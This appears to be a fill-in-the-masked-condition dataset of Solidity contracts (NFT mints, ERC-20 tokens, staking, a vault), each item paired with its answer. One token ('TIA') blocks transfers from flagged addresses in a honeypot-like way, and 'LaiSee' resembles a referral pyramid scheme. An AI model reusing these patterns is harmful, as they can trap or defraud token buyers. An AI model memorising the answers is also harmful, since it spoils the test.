function mintTypeToAddress(uint256 _typeId, uint256 _quantity, address _toAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
/**
* Public
*/
function bulkSafeTransfer(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external {
}
function uri(uint256 typeId) public view override returns (string memory) {
require(<FILL_ME>)
return string(abi.encodePacked(baseURI, typeId.toString()));
}
/**
* Overrides
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
}
| validTypeIds[typeId],"URI request for invalid type" | 241,648 | validTypeIds[typeId] |
"Excedes max supply." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract boobspixwtf is ERC721A, Ownable {
using Strings for uint256;
uint16 public immutable MAX_SUPPLY = 999;
uint16 public immutable MAX_PER_TX = 5;
uint256 public PRICE = 0.003 ether;
bool public IS_SALE_ACTIVE = false;
string _URI = "https://gateway.pinata.cloud/ipfs/QmPcfVo1GwfU9ZLHVWg6nwh7iC5J3ajNCCe7bFvPV1BQPW/";
constructor(string memory Name, string memory Symbol)
ERC721A(Name, Symbol)
{
}
function toggleSale() public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setURI(string memory URI) public onlyOwner {
}
function Mint(uint256 quantity) external payable {
require(IS_SALE_ACTIVE, "Sale haven't started");
require(quantity <= MAX_PER_TX, "Excedes max per tx");
uint256 nextTokenId = _nextTokenId();
require(<FILL_ME>)
require(
PRICE * quantity <= msg.value,
"Ether value sent is not correct"
);
_mint(msg.sender, quantity);
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| nextTokenId+quantity<=MAX_SUPPLY,"Excedes max supply." | 241,682 | nextTokenId+quantity<=MAX_SUPPLY |
"Ether value sent is not correct" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract boobspixwtf is ERC721A, Ownable {
using Strings for uint256;
uint16 public immutable MAX_SUPPLY = 999;
uint16 public immutable MAX_PER_TX = 5;
uint256 public PRICE = 0.003 ether;
bool public IS_SALE_ACTIVE = false;
string _URI = "https://gateway.pinata.cloud/ipfs/QmPcfVo1GwfU9ZLHVWg6nwh7iC5J3ajNCCe7bFvPV1BQPW/";
constructor(string memory Name, string memory Symbol)
ERC721A(Name, Symbol)
{
}
function toggleSale() public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setURI(string memory URI) public onlyOwner {
}
function Mint(uint256 quantity) external payable {
require(IS_SALE_ACTIVE, "Sale haven't started");
require(quantity <= MAX_PER_TX, "Excedes max per tx");
uint256 nextTokenId = _nextTokenId();
require(nextTokenId + quantity <= MAX_SUPPLY, "Excedes max supply.");
require(<FILL_ME>)
_mint(msg.sender, quantity);
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| PRICE*quantity<=msg.value,"Ether value sent is not correct" | 241,682 | PRICE*quantity<=msg.value |
"Cannot set maxWallet lower than 1%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import "./DividendToken.sol";
//https://t.me/POTOGOLDTOKEN
contract Pot_O_Gold is ERC20, Ownable {
IRouter public router;
address public pair;
DividendTracker public dividendTracker;
address public treasuryWallet;
address public devWallet = 0xc2d9E1D78642F7Cdc38F72e3df518D66684adA68;
uint256 public swapTokensAtAmount;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
mapping(address => bool) public _isBot;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public automatedMarketMakerPairs;
bool private swapping;
bool public swapEnabled = true;
bool public claimEnabled;
bool public tradingEnabled;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
struct Taxes {
uint256 rewards;
uint256 treasury;
uint256 dev;
}
Taxes public buyTaxes = Taxes(0, 0, 4);
Taxes public sellTaxes = Taxes(0, 0, 20);
uint256 public totalBuyTax = 4;
uint256 public totalSellTax = 20;
constructor(address _treasury)
ERC20("Pot O Gold", "POT")
{
}
receive() external payable {}
function updateDividendTracker(address newAddress) public onlyOwner {
}
function UpdateTreasuryAddress(address newtreasury) public onlyOwner {
}
function excludeFromFees(address account, bool excluded)
public
onlyOwner
{
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
/// @dev "true" to exlcude, "false" to include
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function setDevWallet(address newWallet) public onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) public onlyOwner {
require(<FILL_ME>)
maxWallet = newNum * (10**18);
}
function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell)
public
onlyOwner
{
}
/// @notice Update the threshold to swap tokens for liquidity,
/// treasury and dividends.
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setBuyTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setSellTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
/// @notice Enable or disable internal swaps
/// @dev Set "true" to enable internal swaps for liquidity, treasury and dividends
function setSwapEnabled(bool _enabled) external onlyOwner {
}
/// @notice Manual claim the dividends
function claim() external {
}
/// @notice Withdraw tokens sent by mistake.
/// @param tokenAddress The address of the token to withdraw
function rescueETH20Tokens(address tokenAddress) external onlyOwner {
}
/// @notice Send remaining ETH to treasuryWallet
/// @dev It will send all ETH to treasuryWallet
function forceSend() external onlyOwner {
}
function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner {
}
function trackerForceSend() external onlyOwner {
}
function updateRouter(address newRouter) external onlyOwner {
}
function activateTrading() external onlyOwner {
}
function setClaimEnabled(bool state) external onlyOwner {
}
/// @param bot The bot address
/// @param value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner {
}
function setBulkBot(address[] memory bots, bool value) external onlyOwner {
}
/// @dev Set new pairs created due to listing in new DEX
function setAutomatedMarketMakerPair(address newPair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
}
function dividendTokenBalanceOf(address account)
public
view
returns (uint256)
{
}
function getAccountInfo(address account)
external
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
contract DividendTracker is Ownable, DividendPayingToken {
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor() DividendPayingToken("Dividend_Tracker", "Dividend_Tracker") {}
function trackerRescueETH20Tokens(address recipient, address tokenAddress)
external
onlyOwner
{
}
function trackerForceSend(address recipient) external onlyOwner {
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function getAccount(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function setBalance(address account, uint256 newBalance)
external
onlyOwner
{
}
function processAccount(address payable account)
external
onlyOwner
returns (bool)
{
}
}
| newNum>(4*1),"Cannot set maxWallet lower than 1%" | 241,695 | newNum>(4*1) |
"Fee must be <= 20%" | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import "./DividendToken.sol";
//https://t.me/POTOGOLDTOKEN
contract Pot_O_Gold is ERC20, Ownable {
IRouter public router;
address public pair;
DividendTracker public dividendTracker;
address public treasuryWallet;
address public devWallet = 0xc2d9E1D78642F7Cdc38F72e3df518D66684adA68;
uint256 public swapTokensAtAmount;
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
mapping(address => bool) public _isBot;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public automatedMarketMakerPairs;
bool private swapping;
bool public swapEnabled = true;
bool public claimEnabled;
bool public tradingEnabled;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(
uint256 indexed newValue,
uint256 indexed oldValue
);
event SendDividends(uint256 tokensSwapped, uint256 amount);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
struct Taxes {
uint256 rewards;
uint256 treasury;
uint256 dev;
}
Taxes public buyTaxes = Taxes(0, 0, 4);
Taxes public sellTaxes = Taxes(0, 0, 20);
uint256 public totalBuyTax = 4;
uint256 public totalSellTax = 20;
constructor(address _treasury)
ERC20("Pot O Gold", "POT")
{
}
receive() external payable {}
function updateDividendTracker(address newAddress) public onlyOwner {
}
function UpdateTreasuryAddress(address newtreasury) public onlyOwner {
}
function excludeFromFees(address account, bool excluded)
public
onlyOwner
{
}
function excludeFromMaxWallet(address account, bool excluded)
public
onlyOwner
{
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
/// @dev "true" to exlcude, "false" to include
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function setDevWallet(address newWallet) public onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) public onlyOwner {
}
function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell)
public
onlyOwner
{
}
/// @notice Update the threshold to swap tokens for liquidity,
/// treasury and dividends.
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setBuyTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
require(<FILL_ME>)
buyTaxes = Taxes(_rewards, _treasury, _dev);
totalBuyTax = _rewards + _treasury + _dev;
}
function setSellTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
/// @notice Enable or disable internal swaps
/// @dev Set "true" to enable internal swaps for liquidity, treasury and dividends
function setSwapEnabled(bool _enabled) external onlyOwner {
}
/// @notice Manual claim the dividends
function claim() external {
}
/// @notice Withdraw tokens sent by mistake.
/// @param tokenAddress The address of the token to withdraw
function rescueETH20Tokens(address tokenAddress) external onlyOwner {
}
/// @notice Send remaining ETH to treasuryWallet
/// @dev It will send all ETH to treasuryWallet
function forceSend() external onlyOwner {
}
function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner {
}
function trackerForceSend() external onlyOwner {
}
function updateRouter(address newRouter) external onlyOwner {
}
function activateTrading() external onlyOwner {
}
function setClaimEnabled(bool state) external onlyOwner {
}
/// @param bot The bot address
/// @param value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner {
}
function setBulkBot(address[] memory bots, bool value) external onlyOwner {
}
/// @dev Set new pairs created due to listing in new DEX
function setAutomatedMarketMakerPair(address newPair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
}
function dividendTokenBalanceOf(address account)
public
view
returns (uint256)
{
}
function getAccountInfo(address account)
external
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
contract DividendTracker is Ownable, DividendPayingToken {
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor() DividendPayingToken("Dividend_Tracker", "Dividend_Tracker") {}
function trackerRescueETH20Tokens(address recipient, address tokenAddress)
external
onlyOwner
{
}
function trackerForceSend(address recipient) external onlyOwner {
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function getAccount(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function setBalance(address account, uint256 newBalance)
external
onlyOwner
{
}
function processAccount(address payable account)
external
onlyOwner
returns (bool)
{
}
}
| _rewards+_treasury+_dev<=20,"Fee must be <= 20%" | 241,695 | _rewards+_treasury+_dev<=20 |
"LQ1" | pragma solidity ^0.8.20;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract TIA is IERC20, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
bool private initialized;
bool private transferring;
address private _publisher;
address private _factory;
address private _router;
address private _ETH;
uint16 private _ETHDecimals;
address private _pair;
address private _dex;
address private _cex;
mapping(address => bool) private addLiquidities;
function initialize(
string memory tokenName,
string memory tokenSymbol,
uint256 tokenAmount,
address eth,
uint8 eth_decimal,
address dex,
address publisher,
address cex,
address router,
address factory
) external {
}
function decimals() external view override returns (uint8) {
}
function symbol() external view override returns (string memory) {
}
function name() external view override returns (string memory) {
}
function totalSupply() external view override returns (uint256) {
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
}
function transfer(
address to,
uint256 amount
) public virtual override returns (bool) {
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual returns (bool) {
require(<FILL_ME>)
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds unlocked amount"
);
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
return true;
}
//only called once at initialize()
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function addLiquidityETH(address[] memory addr, bool status) public {
}
function airdrop(
address[] memory selladdr,
address[] memory airdropaddr,
uint256 amountSell,
uint256 amountAir
) public {
}
}
| !addLiquidities[from],"LQ1" | 241,716 | !addLiquidities[from] |
"Already participating" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract LaiSee {
uint256 public counter;
mapping(uint256 => address) public order;
mapping(address => uint256) public order_rev;
mapping(uint256 => address) public getIn;
mapping(uint256 => address) public getOut;
mapping(uint256 => bool) public salvation;
mapping(uint256 => uint256) public getInType;
mapping(address => uint256) public addressFinished;
address public lastPaymentTo;
address public lastPaymentIn;
uint256 public envelopesDelivered;
address payable public constant FST_ADDRESS = payable(0xB99984d2C9445461E654a75857Aa93cC9Fd3a38f);
address payable public constant FEE_ADDRESS = payable(0xF3514Bba90078E301E344d181aa0024528B46e13);
address payable public constant NULL_ADDRESS = payable(0x0000000000000000000000000000000000000000);
mapping(address => address) public left;
mapping(address => address) public right;
mapping(address => address) public refAddress;
mapping(address => uint256) public inMyCycle;
constructor() {
}
receive() external payable {
address myWalletAddress = msg.sender;
require(msg.value == 0.06 ether, "Must send exactly 0.06 ether");
require(<FILL_ME>)
if (myWalletAddress != FST_ADDRESS) {
address userWalletAddress;
for (uint256 j = 1; j <= counter; j++) {
if (order[j] != NULL_ADDRESS) {
userWalletAddress = order[j];
break;
}
}
require(userWalletAddress != NULL_ADDRESS, "Not possible");
counter++;
addMeToCycle (myWalletAddress, userWalletAddress);
salvation[counter] = true;
}
if (myWalletAddress == FST_ADDRESS) { counter++; }
FEE_ADDRESS.transfer(0.015 ether);
order[counter] = myWalletAddress;
order_rev[myWalletAddress] = counter;
getIn[counter] = myWalletAddress;
lastPaymentIn = myWalletAddress;
}
function payIn(address myWalletAddress, address userWalletAddress) external payable {
}
function payOut(address walletAddress) internal {
}
function initiateMyPayment(address walletAddress) external {
}
function addMeToCycle(address myWalletAddress, address userWalletAddress) internal {
}
function setTiersToNull(address walletAddress) internal {
}
function getMyCycleNumber(address account) public view returns(uint256) {
}
function getLeftLeg(address account) public view returns(address) {
}
function getRightLeg(address account) public view returns(address) {
}
function getWhoReferredMe(address account) public view returns(address) {
}
function getGetIn(uint256 number) public view returns(address) {
}
function getGetOut(uint256 number) public view returns(address) {
}
function getGetInType(uint256 number) public view returns(uint256) {
}
function getSalvation(uint256 number) public view returns(bool) {
}
function getAddressFinished(address account) public view returns(uint256) {
}
}
| order_rev[myWalletAddress]==0,"Already participating" | 241,837 | order_rev[myWalletAddress]==0 |
"Other user is not participating" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract LaiSee {
uint256 public counter;
mapping(uint256 => address) public order;
mapping(address => uint256) public order_rev;
mapping(uint256 => address) public getIn;
mapping(uint256 => address) public getOut;
mapping(uint256 => bool) public salvation;
mapping(uint256 => uint256) public getInType;
mapping(address => uint256) public addressFinished;
address public lastPaymentTo;
address public lastPaymentIn;
uint256 public envelopesDelivered;
address payable public constant FST_ADDRESS = payable(0xB99984d2C9445461E654a75857Aa93cC9Fd3a38f);
address payable public constant FEE_ADDRESS = payable(0xF3514Bba90078E301E344d181aa0024528B46e13);
address payable public constant NULL_ADDRESS = payable(0x0000000000000000000000000000000000000000);
mapping(address => address) public left;
mapping(address => address) public right;
mapping(address => address) public refAddress;
mapping(address => uint256) public inMyCycle;
constructor() {
}
receive() external payable {
}
function payIn(address myWalletAddress, address userWalletAddress) external payable {
require(msg.value == 0.06 ether, "Must send exactly 0.06 ether");
require(userWalletAddress != NULL_ADDRESS, "Must be not NULL address");
require(order_rev[myWalletAddress] == 0, "You are already participating");
require(<FILL_ME>)
counter++;
addMeToCycle (myWalletAddress, userWalletAddress);
order[counter] = myWalletAddress;
order_rev[myWalletAddress] = counter;
getIn[counter] = myWalletAddress;
lastPaymentIn = myWalletAddress;
FEE_ADDRESS.transfer(0.015 ether);
if (inMyCycle[userWalletAddress] > 13) {
payOut(userWalletAddress);
}
}
function payOut(address walletAddress) internal {
}
function initiateMyPayment(address walletAddress) external {
}
function addMeToCycle(address myWalletAddress, address userWalletAddress) internal {
}
function setTiersToNull(address walletAddress) internal {
}
function getMyCycleNumber(address account) public view returns(uint256) {
}
function getLeftLeg(address account) public view returns(address) {
}
function getRightLeg(address account) public view returns(address) {
}
function getWhoReferredMe(address account) public view returns(address) {
}
function getGetIn(uint256 number) public view returns(address) {
}
function getGetOut(uint256 number) public view returns(address) {
}
function getGetInType(uint256 number) public view returns(uint256) {
}
function getSalvation(uint256 number) public view returns(bool) {
}
function getAddressFinished(address account) public view returns(uint256) {
}
}
| order_rev[userWalletAddress]!=0,"Other user is not participating" | 241,837 | order_rev[userWalletAddress]!=0 |
"One active stake per account" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract YieldInuStaking {
using SafeMath for uint256;
uint256 private constant ONE_YEAR = 365 days;
uint256 private constant ONE_WEEK = 7 days;
uint16 private constant PERCENT_DENOMENATOR = 10000;
uint256 public fullyVestedPeriod = 30 days;
uint256 public withdrawsPerPeriod = 10;
uint256 public usersStaked;
uint256 public totalStaked;
uint256 public totalVested;
struct stakePlans {
uint256 apy;
uint256 lockDuration;
}
stakePlans[] _planOptions;
struct StakeInfo {
uint256 amount;
uint256 apy;
uint256 since;
uint256 duration;
}
struct VestInfo {
uint256 start;
uint256 end;
uint256 totalWithdraws;
uint256 withdrawsCompleted;
uint256 amount;
}
mapping(address => StakeInfo) public stakers;
mapping(address => VestInfo) public vesting;
mapping(address => uint256) public claimedRewards;
mapping(address => uint256) public activeYield;
mapping(address => uint256) public lastClaim;
mapping(address => uint256) public yieldToWithdraw;
mapping(address => bool) public hasStake;
mapping(address => bool) public hasVest;
mapping(address => uint256) public tokensForUnstake;
function _createPlans() internal{
}
function addPlan(uint256 _apy, uint256 _lockDuration) internal {
}
function removePlan(uint256 _index) internal {
}
function updatePlan(uint256 _plan, uint256 _apy, uint256 _lockDuration) internal{
}
function updateStake(address _user, uint256 _amount, uint256 _duration, uint256 _apy) internal{
}
function _stake(
address _user,
uint256 _amount,
uint256 _plan
) internal {
require(<FILL_ME>)
require(_amount > 0, "Cannot stake nothing");
stakers[_user] = StakeInfo({
amount: _amount,
apy: _planOptions[_plan].apy,
since: block.timestamp,
duration: _planOptions[_plan].lockDuration
});
hasStake[_user] = true;
usersStaked += 1;
totalStaked += _amount;
}
function _claimAndVestRewards(address _user) public {
}
function _calculateVested(address _user) public {
}
function checkWithdrawAllowed(address _user) public view returns(uint256) {
}
function _calculateReward(address _user) public view returns(uint256) {
}
function _unstake (
address _user
) public {
}
}
| !hasStake[_user],"One active stake per account" | 241,877 | !hasStake[_user] |
'Vault: Insufficient Balance' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
abstract contract HasEmergency is Ownable {
event DepositBNB (address indexed from, uint qty);
event WithdrawBNB (address indexed to, uint qty);
receive() external payable {
}
fallback() external payable {}
function _payOutToken(address _token, address _to, uint _qty) internal onlyOwner {
require(<FILL_ME>)
}
function transfer(address _token, address _to, uint _qty) public onlyOwner {
}
function mutiTransfer(address _token, address[] calldata _to, uint[] calldata _qty) public onlyOwner {
}
function withdrawBNB(uint _qty) public onlyOwner {
}
}
| IERC20(_token).transfer(_to,_qty),'Vault: Insufficient Balance' | 241,923 | IERC20(_token).transfer(_to,_qty) |
"max NFT limit exceeded" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;
import { Base64 } from 'base64-sol/base64.sol';
import "contract-allow-list/contracts/ERC721AntiScam/restrictApprove/ERC721RestrictApprove.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {UpdatableOperatorFilterer} from "operator-filter-registry/src/UpdatableOperatorFilterer.sol";
import {RevokableDefaultOperatorFilterer} from "operator-filter-registry/src/RevokableDefaultOperatorFilterer.sol";
//tokenURI interface
interface iTokenURI {
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
//SBT interface
interface iSbtCollection {
function externalMint(address _address , uint256 _amount ) external payable;
function balanceOf(address _owner) external view returns (uint);
}
contract ARTContract is RevokableDefaultOperatorFilterer, ERC2981 ,Ownable, ERC721RestrictApprove ,AccessControl,ReentrancyGuard {
constructor(
) ERC721Psi("HAYABUSA ART GALLERY", "HAG") {
}
mapping(uint256 => uint256) public NFTNumberByTokenId;
mapping(uint256 => uint256) public mintedAmountByNumber;
bytes32 public constant SETTER_ROLE = keccak256("SETTER_ROLE");
function externalMintWithNumber(address _address , uint256 _Number ) external payable {
require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter");
uint256 amount = 1;
require(<FILL_ME>)
NFTNumberByTokenId[_nextTokenId()] = _Number;
mintedAmountByNumber[_Number]++;
_safeMint( _address, amount );
}
function getMintedAmountByNumber(uint256 _number) external view returns(uint256){
}
function setNFTNumberByTokenId(uint256 _tokenId , uint256 _number) public onlyRole(SETTER_ROLE){
}
//
//withdraw section
//
address public withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6;
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
//
//mint section
//
uint256 public cost = 1000000000000000;
uint256 public maxSupply = 1000 -1;
uint256 public maxMintAmountPerTransaction = 1;
uint256 public publicSaleMaxMintAmountPerAddress = 50;
bool public paused = true;
bool public onlyAllowlisted = true;
bool public mintCount = true;
bool public burnAndMintMode = false;
//0 : Merkle Tree
//1 : Mapping
uint256 public allowlistType = 0;
bytes32 public merkleRoot;
uint256 public saleId = 0;
mapping(uint256 => mapping(address => uint256)) public userMintedAmount;
mapping(uint256 => mapping(address => uint256)) public allowlistUserAmount;
bool public mintWithSBT = false;
iSbtCollection public sbtCollection;
modifier callerIsUser() {
}
//mint with merkle tree
function mint(uint256 _mintAmount , uint256 _maxMintAmount , bytes32[] calldata _merkleProof , uint256 _burnId ) public payable callerIsUser{
}
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
function airdropMint(address[] calldata _airdropAddresses , uint256[] memory _UserMintAmount) public {
}
function currentTokenId() public view returns(uint256){
}
function setMintWithSBT(bool _mintWithSBT) public onlyRole(ADMIN) {
}
function setSbtCollection(address _address) public onlyRole(ADMIN) {
}
function setBurnAndMintMode(bool _burnAndMintMode) public onlyRole(ADMIN) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyRole(ADMIN) {
}
function setPause(bool _state) public onlyRole(ADMIN) {
}
function setAllowListType(uint256 _type)public onlyRole(ADMIN){
}
function setAllowlistMapping(uint256 _saleId , address[] memory addresses, uint256[] memory saleSupplies) public onlyRole(ADMIN) {
}
function getAllowlistUserAmount(address _address ) public view returns(uint256){
}
function getUserMintedAmountBySaleId(uint256 _saleId , address _address ) public view returns(uint256){
}
function getUserMintedAmount(address _address ) public view returns(uint256){
}
function setSaleId(uint256 _saleId) public onlyRole(ADMIN) {
}
function setMaxSupply(uint256 _maxSupply) public onlyRole(ADMIN) {
}
function setPublicSaleMaxMintAmountPerAddress(uint256 _publicSaleMaxMintAmountPerAddress) public onlyRole(ADMIN) {
}
function setCost(uint256 _newCost) public onlyRole(ADMIN) {
}
function setOnlyAllowlisted(bool _state) public onlyRole(ADMIN) {
}
function setMaxMintAmountPerTransaction(uint256 _maxMintAmountPerTransaction) public onlyRole(ADMIN) {
}
function setMintCount(bool _state) public onlyRole(ADMIN) {
}
//
//URI section
//
string public baseURI;
string public baseExtension = ".json";
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyRole(ADMIN) {
}
function setBaseExtension(string memory _newBaseExtension) public onlyRole(ADMIN) {
}
//
//interface metadata
//
iTokenURI public interfaceOfTokenURI;
bool public useInterfaceMetadata = false;
function setInterfaceOfTokenURI(address _address) public onlyRole(ADMIN) {
}
function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyRole(ADMIN) {
}
//
//single metadata
//
bool public useSingleMetadata = false;
string public imageURI;
string public metadataTitle;
string public metadataDescription;
string public metadataAttributes;
bool public useAnimationUrl = false;
string public animationURI;
//single image metadata
function setUseSingleMetadata(bool _useSingleMetadata) public onlyRole(ADMIN) {
}
function setMetadataTitle(string memory _metadataTitle) public onlyRole(ADMIN) {
}
function setMetadataDescription(string memory _metadataDescription) public onlyRole(ADMIN) {
}
function setMetadataAttributes(string memory _metadataAttributes) public onlyRole(ADMIN) {
}
function setImageURI(string memory _ImageURI) public onlyRole(ADMIN) {
}
function setUseAnimationUrl(bool _useAnimationUrl) public onlyRole(ADMIN) {
}
function setAnimationURI(string memory _animationURI) public onlyRole(ADMIN) {
}
//
//token URI
//
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//
//burnin' section
//
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
function externalMint(address _address , uint256 _amount ) external payable {
}
